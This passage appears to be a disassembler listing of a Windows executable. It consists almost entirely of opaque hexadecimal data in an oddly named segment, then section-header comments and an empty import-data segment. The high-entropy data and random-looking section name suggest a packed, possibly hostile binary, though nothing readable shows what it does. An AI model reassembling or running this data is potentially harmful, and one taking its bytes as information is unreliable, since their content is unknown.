0B9E75EB3h, 0BB461801h, 961547DCh dd 9F437365h, 0F5C25688h, 35B4CF0Fh, 0C13F1DCEh, 4A60C0C3h dd 2B145F77h, 0EF75F137h, 5E83DED4h, 0D4C4BF42h, 6397FA55h dd 0E00AAA34h, 60CDE1CCh, 7098EA27h, 28D81BD6h, 0DA131A1Dh dd 0CE68B3B6h, 0EFAC6B36h, 6B96F4B3h, 7BCC0341h, 736152F6h dd 34B748CFh, 8F8971ECh, 991CE9AFh, 48E0093Ch, 0C8CD3D2h dd 58CA4CBh, 78B17CD9h, 43E17C5Ah, 57D69EFCh, 0CC5E3BAEh dd 66F51A7h, 69DDB1Ch, 0B4D98292h, 421B399Ah, 94FA7656h dd 340F7613h, 0F049C22Bh, 466E6753h, 5AEEC97Ah, 1D3DB0BFh dd 8485FB73h, 0D6158930h, 71BE448Eh, 0CFF0CB76h, 0EE86110Ah dd 75B265C4h, 0BD750109h, 21AFF44Eh, 5D79092Fh, 9F0A58D9h dd 0C490F770h, 7365D730h, 22C545E0h, 0FA3726ADh, 0F99CEFCAh dd 6EE5D5C9h, 15F891EBh, 87C07BDFh, 0CA771B5Eh, 871DF220h dd 4DBBB61Ch, 0E9EE8CE5h, 8A82EA92h, 96F8B22Eh, 8612CC29h dd 8A54F3F4h, 7EDDD1A5h, 48A5DA98h, 17955D75h, 0B2CC1779h dd 2B771459h, 0F1FB4270h, 2BD808C9h, 63E9F32Ah, 0E9BD22E7h dd 956B567Eh, 51F40BA6h, 0A6FFC94Dh, 272CDFFBh, 0A7070F27h dd 6B5D7555h, 0B01FD6AFh dd 18219278h, 48CCB44Dh, 0D9807762h, 702C9A42h, 0F4489047h dd 46F73EFEh, 0D564777Ah, 934DAA95h, 24465F20h, 0E5AB6499h dd 0CFE0CFB2h, 539B289Dh, 0C23D0B3Fh, 82F7ECF5h, 1C4101A7h dd 0BE04910Ah, 34DF43F5h, 5BEC67B4h, 869D8C37h, 98B24436h dd 4C30F8D3h, 0F2695F6Dh, 2FFE78F6h, 0F7C54AD9h, 54A2D3B6h dd 1CA790Ah, 22B40D73h, 0B52A1DA5h, 0A87D4F51h, 0F5B308D5h dd 0E4DD951Eh, 4B2C5934h, 20D0E664h, 35B090C2h, 0EFF2D81Ah dd 0EC5F86A9h, 52341090h, 0EEEC80A1h, 1BD93A89h, 0DD0AEE9Ch dd 5809249h, 94DE37EBh, 0B5BB5A62h, 0C9B3F054h, 9CEC354h dd 8BE17BE0h, 6D461CF0h, 3CDE4F36h, 0FF9D9FCh, 0DE0D86D1h dd 123AF978h, 69E3AD4Eh, 8B51786Eh, 831C2CD4h, 16C889FDh dd 0A617D6FBh, 88D1FCA6h, 4BEFCBEBh, 0DAA572Ch, 0A6448321h dd 2060979Eh, 5350670h, 0DA7BF486h, 5AD0BD1h, 0C593F1BCh dd 0CAF64FC7h, 5CB6FFD9h, 0AA15F4F1h, 0B8F89AAFh, 12D3CE17h dd 6CC814C7h, 0D60297DEh, 0A72F387Ch, 0B93B3833h, 4746C064h dd 53654914h, 613E5296h, 7F16B735h, 2042340Dh, 0E54EAD14h dd 0DD552CB9h, 0AD38A6C3h, 1B90698Ch, 14DDD4C0h, 0B80F9E48h dd 64DAFC9Ah, 285DB32Bh, 0FB59A27h, 0D1F0440Ch, 54A32307h dd 4EBCB2A2h, 0F0EA91CBh, 0C7A5ADAEh, 5B46D785h, 97D9E0BEh dd 0C866BD0Ch, 346F4A39h, 0D51082AAh, 44EBA565h, 0F3533F02h dd 0FBE8390Fh, 0A1FD7535h, 0CAACE79Bh, 9661567Ah, 47789F09h dd 0E5B12DD2h, 0F63A5109h, 0A25958A4h, 0C4F9F4A7h, 40C7D529h dd 0D46E3445h, 0A4DF2665h, 0C23EEE2h, 0AE264531h, 5B428407h dd 7424B3D4h, 0E7994AE2h, 784A237Dh, 0D1619C26h, 0DAA591DEh dd 9FCABA25h, 0AD21F1D9h, 737F0A59h, 292327F6h, 0A9147D5Ah dd 0C9E00490h, 847BF792h, 63042EC2h, 0F6D26884h, 13F42913h dd 9B6B614Eh, 8B958D62h, 0E4B89CF3h, 48305BAh, 0B1C97D71h dd 4C16F2CBh, 185E5BE5h, 0B279B1DAh, 9D174346h, 716A202h dd 433F93CEh, 476287A5h, 291409A7h, 1CF40267h, 61B1F5BFh dd 854909C6h, 34776342h, 5B22F8F6h, 2233834h, 1647BAF9h dd 454D1168h, 7ABAE3DFh, 0E2620E31h, 0B2879998h, 0FC2437E6h dd 0A914648Ch, 0CE2771ADh, 0F2570CEDh, 117DAD02h, 25CBF2B9h dd 6B312461h, 0D302912Dh, 0DD549FEFh, 65378195h, 31C5C62Dh dd 0F2C79FF8h, 5DFF02BBh, 0A8ED01B8h, 48BC509Fh, 7A499162h dd 72E92A76h, 0A8DC018Eh, 0C25D4h, 0A0D286Fh, 0BD205E12h dd 4CD15240h, 62BACFB4h, 7CDB3F3Ch, 7974D079h, 84CC9F0Dh dd 80205D63h, 0B4A67420h, 23033B37h, 0D108C91Bh, 53ECA813h dd 0D982A8B2h, 3763F5A5h, 965E210Bh, 7E544ABCh, 1280F15h dd 0DA6244F9h, 572960FEh, 31E29AC6h, 79DB400Ch, 783F1BC2h dd 0F2E0770Ch, 0E7AF085Ch, 0E4A3A5BDh, 803B1DBAh, 905ABE68h dd 19D7632Eh, 54ACD79Bh, 35750920h, 0C6470BDAh, 0B356E5BEh dd 597DED28h, 3752C6E1h, 24736E52h, 0F641D81Fh, 0B998E888h dd 0F44F13E0h, 7B0231D9h, 309F5DFAh, 0DB7612C7h, 58ECF53h dd 0A9413DE2h, 0CF776E6Eh, 0AA5E95C3h, 1577152Fh, 0FF5796D8h dd 217CE916h, 930C8BDCh, 7A3D32B9h, 0E4EE1446h, 0B255907Bh dd 0AB7607D1h, 3020B164h, 0DF3E7546h, 0E6A780D0h, 4261E567h dd 0A6BF2A48h, 0F306A9B9h, 0A5353410h, 690796D9h, 54179D67h dd 0DB871FB4h, 7292C87Bh, 1EF38224h, 5461F30h, 0AEBEBFABh dd 13378CDh, 5BD9AE1Bh, 0D7310376h, 0B4638561h, 3E7B942Ch dd 3D37526Ch, 9340A0A6h, 0A5F1F5C2h, 90701728h, 5522A6E3h dd 43507C5Ch, 0D2E26CD2h, 0A959E970h, 0C9A445C5h, 0C8215749h dd 3CD68D78h, 2DC1C077h, 2A0D6D35h, 86B1C6B0h, 0FE831558h dd 8F45BCCFh, 0C11D4C5Ch, 2B5A81FEh, 0FDDA21BFh, 78BE54E9h dd 27B7780Eh, 3A413004h, 95A3B264h, 9C0A92D4h, 894FEF24h dd 9BF2919Eh, 0B25BEA5Ch, 734222DAh, 7FB9238h, 9F386F6Fh dd 8C1952A2h, 6DE605FCh, 5CA54DD3h, 9ED2C0CFh, 0F8D41E6Ch dd 196FDF64h, 0D9EDA282h, 2E48EFAh, 797BC811h, 0DF5A0BA0h dd 0F7EFB1A9h, 0FCDDBA55h, 92774C11h, 8789A9E9h, 40BD61CAh dd 7E8750EAh, 6641808Fh, 120A1F2Bh, 661D298Fh, 0AE6E9A87h dd 563C462Eh, 73E63B9Bh, 187B46E2h, 2442EE54h, 0AE421629h dd 0A47FEAE5h, 0F31D01F2h, 0B7D26859h, 32DA8094h, 739C5354h dd 627D78FBh, 68F3AADEh, 0A6CC24BDh, 0CD413687h, 56FCDA11h dd 0A1AE4823h, 23072E72h, 3D605F60h, 16DB3884h, 0DF8C491Eh dd 78D51123h, 59BC9F37h, 3D011540h, 0BD9C4CF2h, 0DCE464D5h dd 803F329Bh, 0CC8D3F7Fh, 0B8FB01B1h, 0FC7984FCh, 9B4C32BAh dd 58D83549h, 5796E75Ch, 0DFA2AD2Ah, 8F47063Dh, 682317BBh dd 0C881AE3Bh, 28E4BE91h, 860B1ED4h, 7678D70Ah, 9CAAE7EAh dd 0E1EF783Eh, 0C8570DBh, 31F24BACh, 89DBD0FBh, 0B1AF09Eh dd 0C809B907h, 0F81D8630h, 708B8755h, 0E535C3BBh, 0C74A1485h dd 0A32F59C6h, 83D498F7h, 0CD8DD0Ch, 0A05FEF01h, 0EE2D1F4Ch dd 4BFB33C3h, 66D9BA46h, 0C7F8B532h, 1EF61630h, 0DE73EFA5h dd 9E30AAD1h, 0E457A9D8h, 8E3EEA0Eh, 0BB90EDC4h, 0B7516A8Ah dd 0A64B6C21h, 4A6F44D0h, 0FA0BDDF9h, 0BF2E8864h, 0EAA20A2Eh dd 4F910A10h, 3FB56CC6h, 0E8C4897Bh, 0EA537F47h, 75818240h dd 0C5FFC6Fh, 9FD10DDFh, 9E295444h, 8CD3DF7Bh, 500E9197h dd 0A8402366h, 0AE5E3EECh, 0E4B794Ah, 0BE57DE3Ah, 80DCCA8Eh dd 1526C97Fh, 0A84ACEF5h, 0FDD5A331h, 0CDB362E1h, 2AEEA703h dd 91721A75h, 0E6BD48A6h, 208EE197h, 0A0CDE134h, 0D581C9AEh dd 70823F82h, 7E58822Dh, 0F4C134A1h, 0B28366CFh, 453636B9h dd 94EA5FEAh, 10D697D3h, 0C6CEB1D3h, 5C7836FEh, 8A852763h dd 33FD71C8h, 98AEC7F1h, 0C3F8E1F2h, 0A5735196h, 0C6A323ECh dd 1D0A6AA4h, 6E8ED3B8h, 12D81EA8h, 0CB4B1F1h, 293EA0F2h dd 38C222D7h, 0E02EFE7Dh, 0B19EA6DDh, 1B3E0F78h, 5F0D1F55h dd 1692C17Ah, 0DC10A388h, 7F5C96E4h, 0BDB3EC95h, 31520D2Dh dd 6219DC61h, 0AA596EFh, 9E5862BAh, 335540A3h, 24EAA6B1h dd 0B652A9D9h, 16B35A0h, 5EC3B886h, 277B2E53h, 0CCE1580Eh dd 0A8CD81h, 5C26AD9Ch, 0A3BFD07Eh, 66FA9487h, 0AB0B2C15h dd 0C56BA232h, 0FB9C0DBCh, 6265D902h, 31602572h, 3832C417h dd 13DE668Ch, 393BA9D2h, 0FB391B9Ah, 2CAB3DC2h, 0DD9AEE70h dd 5DE16493h, 7481EF90h, 0A3BF188Bh, 0A1B0E7CEh, 6A30E9F4h dd 0CC8BEEBDh, 0AACDF94h, 6BDBB6C6h, 0A9DD9447h, 0CCE831E3h dd 2D04A258h, 3300BF0Eh, 7CBD331Fh, 8625A708h, 74351DEFh dd 1EECBECEh, 5FD819A0h, 0BFCB81Ch, 0BCC601D0h, 2E259C20h dd 7C678D15h, 0CC18B309h, 0A4D51BC0h, 0C29EB14Ah, 57418D95h dd 0CB87E348h, 0DE52498Eh, 1B74D345h, 0AF0C8F54h, 0DEFF1F82h dd 65946B22h, 0FE527369h, 1EC8FFEh, 6C373A63h, 2F3C91E8h dd 6E182F50h, 6FD41842h, 836849C4h, 9F13D9Bh, 7EA31C11h dd 0BB8DE519h, 0F79E3A64h, 21E718DEh, 63108D8Eh, 0A9D82CD4h dd 0B929AD12h, 65AC7993h, 8FA48B53h, 6160E4E6h, 0AFDF8D5h dd 94731D16h, 6A02F3h, 884429A7h, 8AA0C152h, 508ABEAAh dd 3E00E2E7h, 7A81B2AEh, 0C92028B6h, 0A819C3A7h, 19ECBD75h dd 0FA6EC128h, 7143FBB0h, 61C1A987h, 894C5813h, 0EFDED21h dd 0F9448B5Fh, 2376CF50h dd 385F0E80h, 0FE33F774h, 0FC8CFFE9h, 0E8965923h, 0DA4839A6h dd 0AC1D028Fh, 0AF7CF419h, 820BDBB8h, 6C6B3567h, 69687D3Dh dd 0E523403h, 15C2DC88h, 942DFD3h, 0F0B73F48h, 98C7A9ABh dd 0A4CB77ACh, 34B457B6h, 35FB936Bh, 8F554B23h, 0E811BEA2h dd 229950E0h, 39696C5h, 3D33FBF5h, 0FCF0E5F9h, 2C6A3901h dd 0C7CAECDBh, 6DCDA6DEh, 0FD47B9E5h, 0F385384Eh, 0AE65337h dd 0B6D2964Ah, 0DF02971Ah, 74AB73A5h, 0E2C956C4h, 5852FF32h dd 0F8D1501Fh, 18BD12DFh, 0AF6F3CF7h, 0A585455Dh, 0AE867A27h dd 0DC10B9CEh, 0F1F66DE4h, 8EDA79C7h, 0E76E7FFDh, 8B854C29h dd 24B78262h, 4A606240h, 701E830Eh, 1842AA4Bh, 7233F471h dd 0B30E336Bh, 0D6299C4Ah, 0D2E0E9AFh, 5F5F09DBh, 0F81C8E30h dd 7D013C0h, 647125h, 1F332341h, 0D14B4519h, 0D7023942h dd 0DB24AC6Fh, 1C942D17h, 0ADE2EFA2h, 0C9EE4FCAh, 0BFBDF54Bh dd 99691CF3h, 683D2F8Dh, 0B2D34B69h, 0D6D12B4Ah, 87AB11E7h dd 60272937h, 0B3E07539h, 0F2B623CFh, 54EDC802h, 5F2F0903h dd 6B4551E7h, 0A3F87CD9h, 63E1AB2Dh, 12E60100h, 3D0974F9h dd 7A3DDEBh, 0C22F7380h, 4538D944h, 20EE27Dh, 755973C6h dd 3B6986B2h, 19F5C889h, 0CDFFF7Bh, 3B751660h, 435F9BFEh dd 455BAD96h, 0D2EEDE8Fh, 28DBB4D5h, 0A9732939h, 5225EDF4h dd 9D5B4AEAh, 6E97A9C1h, 0E9C98B53h, 0EDBACEC4h, 0F2D0A0BDh dd 0C1E8EE19h, 0EA503D5Ch, 0C96107C2h, 9CB49DC6h, 3855C479h dd 89A388BCh, 330FDD35h, 0B12A4C41h, 674860D7h, 7E015B4Dh dd 221063DFh, 0CB630FC0h, 71CE5E2Ah, 0CB1E94FDh, 213ED87Bh dd 266CC60Dh, 4EE19575h, 75580B71h, 0D5ABEE6h, 0B33CA2D7h dd 3F2700B1h, 85295F16h, 0F49D2947h, 33D45456h, 0A4D1D414h dd 0D46FFF91h, 0EEA4F665h, 762367Dh, 3A539C2Bh, 0C65C7DEDh dd 785AD2F8h, 60ED67C4h, 0CC43866Bh, 70D04BFAh, 8601CCABh dd 0E03BEBFCh, 1DB559A4h, 67F6A5E5h, 0E050C575h, 213F7C7Ah dd 586F2DB2h, 41FD4Ch, 8B1AD5CAh, 72D5DDD0h, 3AFB214Dh dd 716F4E71h, 76FDC1E1h, 0A8F51516h, 978C6E37h, 0B525203Ah dd 483C2230h, 9587C88Eh, 838495A8h, 0DA52E086h, 0B2C1C3h dd 4A4B3BD0h, 47FE8C1Dh, 0F301DA3h, 374AF464h, 3C12CEB2h dd 0A667D877h, 352B8C7Fh, 9F2AC604h, 26355B4Dh, 0C9F85047h dd 0C7DB6DE0h, 0D1AA7E49h, 0D2452DEAh, 72EC093Ch, 9832DA1Ch dd 0E3BBFF5Ah, 0E898CAB4h, 0E6E61877h, 0A276528Bh, 3B29A9F1h dd 97B2FC72h, 1D88C3EBh, 1309C457h, 970B90C8h, 0B5B76FFCh dd 0C114590Ah, 0CF814EAh, 552EE316h, 0A10443D4h, 0AC1E107Fh dd 0E7D82DD2h, 33AC6BC4h, 784C0EA5h, 0BC88BF15h, 0E38CDE24h dd 0EE052778h, 0E172B497h, 46FBE3C7h, 0E2220013h, 25E8C13Ch dd 0D4A6E4F7h, 0D2618796h, 9BF41384h, 7A8B3B35h, 0C883EC67h dd 0E4A948EDh, 1A5EC740h, 0F67FFE85h, 8FCC7FF3h, 0EF7A91D7h dd 29F5AE4Ch, 89D0A961h, 62DEC47Fh, 3AE91663h, 0F439248Eh dd 0EA6AB6EDh, 1FF19237h, 110C4B29h, 0D1E8EA5Eh, 42D1E51h dd 7E57E707h, 6D629D7Ch, 408F0E6Ah, 0DB019E8Fh, 2D1BA41Ch dd 3AAB5C37h, 8B320669h, 689BCB9h, 0A2AB76ABh, 6F125DBBh dd 0B1FF1210h, 908FE83Fh, 1EF365CAh, 464A1A0Ah, 0CA43FC7Bh dd 37F8CF39h, 342253D3h, 9E2C98B4h, 0B37156CAh, 265EE3A8h dd 43B1AD71h, 621879C4h, 0FEAD21F8h, 0D111A3CFh, 8F97095Ah dd 22895D36h, 354E5C28h, 82BEE5C0h, 2A30B9CFh, 9430C90Bh dd 0EA6C7CC7h, 29AF3CEBh, 0B671F21Bh, 903B0CAh, 20CB7CB4h dd 17A38F8h, 86A8F047h, 0AF13F528h, 0F86BD08h, 0B7967139h dd 3450DB7Dh, 5F0268ECh, 3F9148C0h, 16AD3BCEh, 0D93F171Bh dd 0D5A85D60h, 3E0E23B3h, 7BD07B56h, 9FB485FBh, 0C84D67E4h dd 1EAC28E0h, 7B95F949h, 0B9C78305h, 83E54936h, 19CCA4A9h dd 0B8485A9Ah, 4972D674h, 19CB5CBFh, 0AF05271Dh, 0E0F457F8h dd 0F8576F67h, 5B5B0F79h, 0DCFDF92Ch, 2A2BAF8Fh, 0AA191C9Dh dd 67DB0F27h, 0ED2B952h, 0EA516FB1h, 0E931E9A8h, 0B17D2045h dd 0C80923D7h, 0FDF19100h, 2C46C0EEh, 9F8847ECh, 0BAF8955Bh dd 45B38CFAh, 3228E93Ch, 6CA9A908h, 56A6E59Ah, 938D65DBh dd 88F2C311h, 45E9BE02h, 0E23C8571h, 3507D2E3h, 3547C7Fh dd 2A7EB261h, 8368D446h, 0DE16B0ABh, 81D07AEDh, 0D9FD2140h dd 0DCC3F194h, 0AA1BC317h, 0D2F91DA5h, 5472F05Ch, 38162BF0h dd 9DD96883h, 72A36BA6h, 0FFBB34ECh, 39707677h, 83914E54h dd 0B6873025h, 0C6CAD447h, 15D3B372h, 0ECFAD347h, 667C710Eh dd 2B34F58Eh, 0DF69982Fh, 88931ABAh, 0B0B428D7h, 406DA0DEh dd 8F4D0FC9h, 0CB865A45h, 0D660C43Ch, 6906EFBBh, 0F65E2155h dd 0C5E6E99Eh, 0C28B3A89h, 0B46966C6h, 6EE4793Ah, 4D3676DBh dd 4E06E88Bh, 8B91904Eh, 8E8A649Ah, 0B81F4D48h, 2E3D6D5Fh dd 0C08991D1h, 0AC20E0FAh, 0E2E6B9D8h, 0E2DF4905h, 25085CCBh dd 4ADFD325h, 0D3BF9361h, 45048492h, 1C499291h, 2C559FE8h dd 14EF542Ah, 0BF3D8A40h, 2ECBFB17h, 0CF1998Bh, 0EACB8DBh dd 0F73614C5h, 0C0EFED9Dh, 0DF3C00h, 0F2D860EBh, 0AC126B21h dd 30BBB6F3h, 60AD33F5h, 37306908h, 25F782B7h, 0E16AB953h dd 0B39EBA8Ch, 7954D097h, 7F3FE45Dh, 217F18C4h, 0A3229CDh dd 0B42BF925h, 0BF6B6713h, 0A0BDEF4Ah, 0FCD90551h, 0BBFC9935h dd 48FB3907h, 0A85E8D43h, 0F292C621h, 43DA169Fh, 333C2696h dd 0F6068FA8h, 684F4ACFh, 61D56930h, 0D41ACDFDh, 0E036C02h dd 8FA30F37h, 74F37E3h, 5232ED24h, 1BCE85BCh, 0F9DC5EA7h dd 99620CDh, 12E10FCCh, 9EBE83D2h, 12A25B8h, 408319BCh dd 93F6035Eh, 82CFD2EAh, 872E58AEh, 0AC793A2Ch, 6E4B1D2h dd 0C8A8586Ch, 0B25E9A4h, 601EBB33h, 3D9447E2h, 4D2808CEh dd 9F9565B2h, 1FD74DDFh, 57B608E2h, 9745846h, 0AC0AF985h dd 0A1A2DF65h, 6192B05Bh, 256496DFh, 0F22926EBh, 0B637E067h dd 0EF215FF4h, 5312B154h, 0EA54B594h, 8AEC69h, 79992E05h dd 328F4CCFh, 3E9E14FEh, 77D68AFh, 2676F2EBh, 3702E8E1h dd 33984DAh, 0A6B8B4E9h, 0F27F50D1h, 14BD2689h, 47A3B0FEh dd 4AF47BBCh, 71D357EDh, 31E9E82Fh, 0ECDB85C4h, 99573334h dd 18D9DD08h, 0CC5A169Bh, 0F6C01242h, 0D531D587h, 1048D1C8h dd 1C500F69h, 4C676C6Dh, 0DD8DC9F6h, 78EC51ECh, 764E4988h dd 94811357h, 68ABD952h, 12176213h, 0C7696853h, 4B768C61h dd 9B002F2Eh, 0B06119FDh, 66311E67h, 168085B6h, 0DF24902Eh dd 303ADA8h, 0F04C446h, 0F81B73D1h, 0C6FED0FCh, 3FBE5B2h dd 5C8F4D0Fh, 38A063A7h, 9979BD67h, 7280A6D1h, 7FDDEEEBh dd 6CB0C31Ah, 17E44CEh, 72B51BB1h, 4C4E1148h, 19E2AAC7h dd 9EA2F66Dh, 5C69F7A5h, 0E9B0D5DEh, 412C17A3h, 67D70942h dd 0CDBC17Dh, 0EF16FC27h, 0A6432C3Ch, 0EA4DBEB1h, 851C1EDFh dd 0B45CAA55h, 0FFD04CE5h, 0D0AAF87Ch, 8994CC24h, 79ECA103h dd 0FB284692h, 68D67BF4h, 97957345h, 0F163ABAEh, 8AA6719Fh dd 587E446Dh, 5A270A6Bh, 0BA69FE33h, 671FA2FCh, 0D599F176h dd 52B387D4h, 9BAB22CAh, 0AE1D049Eh, 583F4D1Eh, 36F3E59Ah dd 0E6B0A0E9h, 1ACD9EAFh, 0C79FA85Ch, 20B4BBFAh, 0AADECFCDh dd 1AEDC267h, 62651C3Bh, 0E47BF617h, 66FD399Ch, 0B237BD02h dd 4AC7780Bh, 0B7F1CE7Eh dd 33FB979Dh, 4B717324h, 4D3CDB6Eh, 953263B7h, 0D735FA5h dd 6DD21547h, 9EF9EB63h, 368BC048h, 80136765h, 7BBE80E1h dd 0B10368A6h, 0B8A80D9Dh, 1F9680EAh, 46E58059h, 0ABEAFD43h dd 0AAFCCC66h, 0D5E6F043h, 0F7CB1E4Eh, 71283D8Eh, 0EFD02909h dd 0EC60AD64h, 496D7C1Ch, 4575F69Bh, 0D070194Bh, 0C77D06D4h dd 378B0FECh, 0C392028Eh, 4E80D43Bh, 0D74F2E9Bh, 0DA01B2C2h dd 4B3EDA84h, 70353129h, 0D99FEADAh, 7ED5D78Dh, 4FE99337h dd 0F0BEE7C1h, 5EBF655Ah, 0A77D4592h, 441ADE48h, 11BC31F4h dd 1BD1356Bh, 676992Bh, 0B9DEA385h, 188ED13Bh, 21B700FEh dd 3BAB7E81h, 0FD492E16h, 1F7B574h, 3DAD7A74h, 670252ADh dd 62C63BE4h, 10A88F80h, 0C202F3B8h, 52044911h, 4862360Eh dd 21911020h, 0FE04C067h, 913E5825h, 4AB7DC85h, 0FD00A51Dh dd 1F16875Bh, 0FD065ECBh, 0CC4B3780h, 130842F4h, 0BCCE9622h dd 272F7B06h, 0D885ABCDh, 0F523F0E9h, 7167776Ch, 0B1ADB159h dd 70BC9117h, 7F0FA41Fh, 13E8AC6Ah, 4B554403h, 0DF35B4F7h dd 0BC331F25h, 56FAB23Bh, 0AA616DC4h, 71379EF1h, 81E49040h dd 0E5C9887Ah, 3EBCA4F0h, 0BC424BB2h, 50E3C588h, 32C8D9DDh dd 0E1E1529Eh, 41B3B7DCh, 0E61E250Eh, 0BBE3D86Dh, 0E0374DF4h dd 0B9707E40h, 62904703h, 53F39DA4h, 0E643AB74h, 7C4CC0D0h dd 98CD44D8h, 55B73CE3h, 9150B9AAh, 92322F54h, 0C36B219Ah dd 87BF744Bh, 243D554Bh, 0C85AB459h, 48165F80h, 0CA9F6FC0h dd 9C176368h, 59C4BFEEh, 98CD75F6h, 232E5DDh, 0B2474634h dd 978732B1h, 0C6491994h, 0C2C0CD7Eh, 0B2CE4373h, 5B4D874Ch dd 0E96A64BEh, 680B2B20h, 0A6D01636h, 0DA5CF11h, 0A3E64246h dd 40C4F718h, 0BB724411h, 0F4FFA993h, 820C4C3Fh, 40E995A0h dd 0E5DF6C0Ah, 5E0ECA2Eh, 7FA19133h, 3689A148h, 37ECD936h dd 9A70B39h, 5B53112h, 0CFC243AEh, 746EC1CAh, 1D42A2E9h dd 0D7E1601Eh, 1BFF545Ah, 6F843CA2h, 0FBA52303h, 0A2E4CECEh dd 83DF086Ch, 9CCDEC9Ch, 19135847h, 50397A32h, 117959ECh dd 3E52C4C9h, 0D80C2C8Ch, 0F899F1AAh, 0B8EF9FD1h, 0A1AAE9B3h dd 6B668467h, 0AB1022C9h, 0D0A5320Ch, 9B023E43h, 397C4B45h dd 0FB15C6C0h, 2046D503h, 0FDF8B428h, 9A8DC0ABh, 7263F328h dd 0AA57E974h, 24E27C72h, 2EE910E5h, 5B39B3DAh, 0BE03EDC7h dd 0CB7100F3h, 6FC9404Ah, 0C39EF224h, 7E403375h, 2594050Ah dd 0FF396131h, 97319BB3h, 15246F62h, 0B3A68657h, 3688F28Dh dd 9C4F4F8h, 161947Eh, 0F1B8A9CBh, 201EA477h, 0C81972ACh dd 0C9E958CEh, 0B030F29Dh, 70B80F9Eh, 446C8846h, 0F1816F9Bh dd 73EC5884h, 0EBADF3B9h, 0DFC9239Bh, 9549A84Fh, 6550D107h dd 327C04F5h, 560B6E7Ch, 0DD3C7240h, 0DF99EC80h, 44CCAD1Eh dd 0E7A45E8Ch, 0B040E578h, 68E94AFCh, 0ED3231AAh, 2C0F7E71h dd 793489D2h, 9B64DAD8h, 2C8FED6Bh, 0DC0CF387h, 0DC9A92A4h dd 37BA0DCDh, 0E7F73BABh, 0E03EB9A2h, 3B08A114h, 6D3A9D0h dd 0B2C8172Eh, 0F0B8F188h, 0ABCFF720h, 0B6B59E6Fh, 67F8AEFEh dd 0B2D29E56h, 0C7586C55h, 4E133139h, 0C4B477D0h, 0CDB11CE0h dd 4AD9D97Bh, 0D708D235h, 0CAC16EC7h, 3BEFCA07h, 1B9B330Fh dd 0C46CEEEDh, 5A59ABh, 57009252h, 7183BDD6h, 3E2F0E63h dd 177E0448h, 7A425CC6h, 29D2211Eh, 0EDD216FFh, 9E6D6CF4h dd 52170537h, 688CFBEFh, 2541E4F5h, 0B3F8D73Ah, 465A05F8h dd 3B21CED9h, 7C7404EFh, 3F030F1Eh, 876C2CCh, 0E89D3FF9h dd 481397FBh, 291CBE2Eh, 0DF26B6D8h, 2FFACED7h, 2744AA1Dh dd 4978DBh, 10B37A67h, 0DF3C41B9h, 0DFB8E4EDh, 60C2CF87h dd 7BB61735h, 1145A00Bh, 99854BC1h, 0D6494C6Ah, 56A83232h dd 97B23111h, 84A2C361h, 201ADD0Dh, 0F6FD68A6h, 27CDA5F7h dd 0D1D45BADh, 0EB2F6F97h, 386FE9BBh, 60F3FF36h, 0EB0C3446h dd 46C1CA76h, 0BF73D73Bh, 0FD29FE8h, 0A68C0E0Dh, 822B5CC8h dd 36870E3Dh, 83B64833h, 4BB9E585h, 6AEA0800h, 7F5EB5F6h dd 29EA91EFh, 8DA140D1h, 293F91CFh, 7F692EBh, 0A8AA7893h dd 0B6CDD484h, 0DFFBF1E9h, 2AD079EDh, 50E5E3FEh, 0ED75673Ch dd 0A15D95EAh, 8684212Bh, 0DA5D72E5h, 8FB21CDEh, 9DB68D78h dd 7E2EAEA8h, 64823163h, 0B5352FBBh, 0C033C810h, 85548D40h dd 1316FF00h, 72C13BC0h, 0C3C12BF4h, 16FF08B1h, 0B004528Dh dd 0FF0B7301h, 7309B016h, 5E1C105h, 8D5011B0h, 56FF822Ch dd 0C5035D4Ch, 38B50C3h, 0BE8C152h, 538B22F7h, 0F128BFCh dd 4532BCAh, 765AC23Bh, 3303890Fh, 2B08B4C0h, 5E8C102h dd 0DEB0201h, 29044301h, 0C1028B03h, 22905E8h, 809C58F9h dd 7500037Bh, 0FC43FF0Ah, 80463C1h, 9D0823C1h, 548D58C3h dd 16FF5883h, 32C5B72h, 0B00273h, 272073Ch, 0F50032Ch dd 0C1FF6FB6h, 0ED6905EDh, 0C00h, 82BAC8Dh, 0B0000010h dd 8B2AE301h, 8532BD7h, 0D2332A8Ah, 950FE984h, 0C6FE52C6h dd 548DD08Ah, 16FF0095h, 0C0129F5Ah, 0E74E9D0h, 74F21A9Eh dd 3300B4E3h, 0FF01B5C9h, 0C9335056h, 0FBE9h, 1AF90400h dd 8B30B1C0h, 0D103086Bh, 497316FFh, 16FFD103h, 0D1031772h dd 277216FFh, 9040224h, 2BC78B50h, 8A0843h, 0CDE9h, 60C28300h dd 6B8716FFh, 30C730Ch, 8716FFD1h, 373106Bh, 24146B87h dd 50080403h, 78938D55h, 0FF000007h, 915D5456h, 95E9h dd 4032400h, 6B875007h, 106B870Ch, 8D146B89h, 0BC093h dd 5456FF00h, 5059036Ah, 72C13B48h, 0C1C18B02h, 40B106E0h dd 7883AC8Dh, 0FF000003h, 43C4C56h, 5C72E88Bh, 0E8D1ED33h dd 4548ED13h, 0E5D34591h, 8D05F980h, 178AB94h, 2B760000h dd 3304E980h, 0FC538BC0h, 128B2BD1h, 532BCA0Fh, 3BC00304h dd 8B067213h, 53014013h, 1056FF04h, 0E2h, 1A0h dup(0) _0niaacah ends ; Section 7. (virtual address 0003C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0003C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 43C000h dd 80h dup(0) align 1000h _idata2 ends end start